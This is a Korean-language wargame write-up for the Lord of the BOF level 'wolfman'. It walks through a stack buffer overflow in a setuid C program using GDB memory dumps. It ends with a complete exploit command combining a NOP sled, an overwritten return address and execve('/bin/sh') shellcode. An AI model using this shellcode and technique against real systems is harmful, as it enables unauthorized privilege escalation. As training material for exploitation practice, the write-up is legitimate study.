본문 바로가기

WarGame/LOB

[LOB] orc :: argv를 이용한 BOF


  • User : orc
  • 문제 : wolfman

wolfman.c의 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/*
        The Lord of the BOF : The Fellowship of the BOF
        - wolfman
        - egghunter + buffer hunter
*/
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));
 
        if(argv[1][47!= '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
        strcpy(buffer, argv[1]); // Vulnerability!!!
        printf("%s\n", buffer);
 
        // buffer hunter
        memset(buffer, 040);
}
cs


이전 문제와 차이점을 보면 buffer hunter가 추가되었습니다. main() 함수가 return 되기 직전에 buffer 부분을 모두 0으로 초기화 시키고 있습니다. 하지만 우리는 이전 문제에서도 buffer를 사용하지 않고 RET 뒤에 있는 argv[1]을 이용하였으므로 buffer hunter가 우습기만 합니다. 이전과 동일한 방법으로 문제를 풀겠습니다.


Step 1. 이전과 동일하게 GDB를 이용하여 buffer의 크기를 확인하면 40 Byte이고 이어서 SFP와 RET가 위치하는 것을 확인할 수 있습니다.


Step 2. buffer 부터 RET까지를 0xbf 값으로 덮어버리고 NOP 코드를 추가하여 RET에 덮어쓸 적절한 주소 값을 확인합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(gdb) b *0x80485c2
Breakpoint 1 at 0x80485c2
(gdb) r `python -c 'print "\xbf"*48+"\x90"*100'`
Starting program: /home/orc/tmp/wolfman `python -c 'print "\xbf"*48+"\x90"*100'`
 
Breakpoint 1, 0x80485c2 in main ()
(gdb) x/76x $esp
0xbffffa64:     0xbffffa70      0xbffffbf2      0x00000015      0xbfbfbfbf
0xbffffa74:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffa84:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffa94:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0x90909090
0xbffffaa4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffab4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffac4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffad4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffae4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffaf4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb04:     0xbffffc00      0xbffffebe      0xbffffedd      0xbffffef6
0xbffffb14:     0xbfffff0b      0xbfffff26      0xbfffff31      0xbfffff3d
cs


Step 3. memset(buffer, 0, 40) 다음을 break pointer로 잡고 실제 buffer가 어떻게 초기화 되는 지 확인해 보겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
Breakpoint 2, 0x80485e3 in main ()
(gdb) x/76x $esp
0xbffffa60:     0xbffffa70      0x00000000      0x00000028      0x00000015
0xbffffa70:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa80:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa90:     0x00000000      0x00000000      0xbfbfbfbf      0xbfbfbfbf
0xbffffaa0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffab0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffac0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffad0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffae0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffaf0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb00:     0x90909090      0xbffffc00      0xbffffebe      0xbffffedd
0xbffffb10:     0xbffffef6      0xbfffff0b      0xbfffff26      0xbfffff31
cs


Step 4. step 2에서 확인한 주소 값을 RET에 덮어 씌우고 그 다음에 이어서 NOP 코드를 100 Byte 입력한 후, shellcode를 집어 넣으면 문제가 해결됩니다. 다음과 같은 payload를 만들 수 있습니다.


1
2
3
[orc@localhost orc]$ ./wolfman `python -c 'print "A"*44+"\xd4\xfa\xff\xbf"+"\x90"*100+"\x31\xc0\xb0\x31\xcd\x80
\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3
\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
cs



※ argv[1]의 값이 buffer에 복사되기 때문에 RET 뒤에 값이 실제 argv[1]의 메모리 영역이라 생각할 수 있지만, 실제 argv[1]의 메모리 영역은 buffer에서 특정 지점만큼 떨어져 있습니다. 정확한 개념은 wolfman 문제에서 다루겠습니다.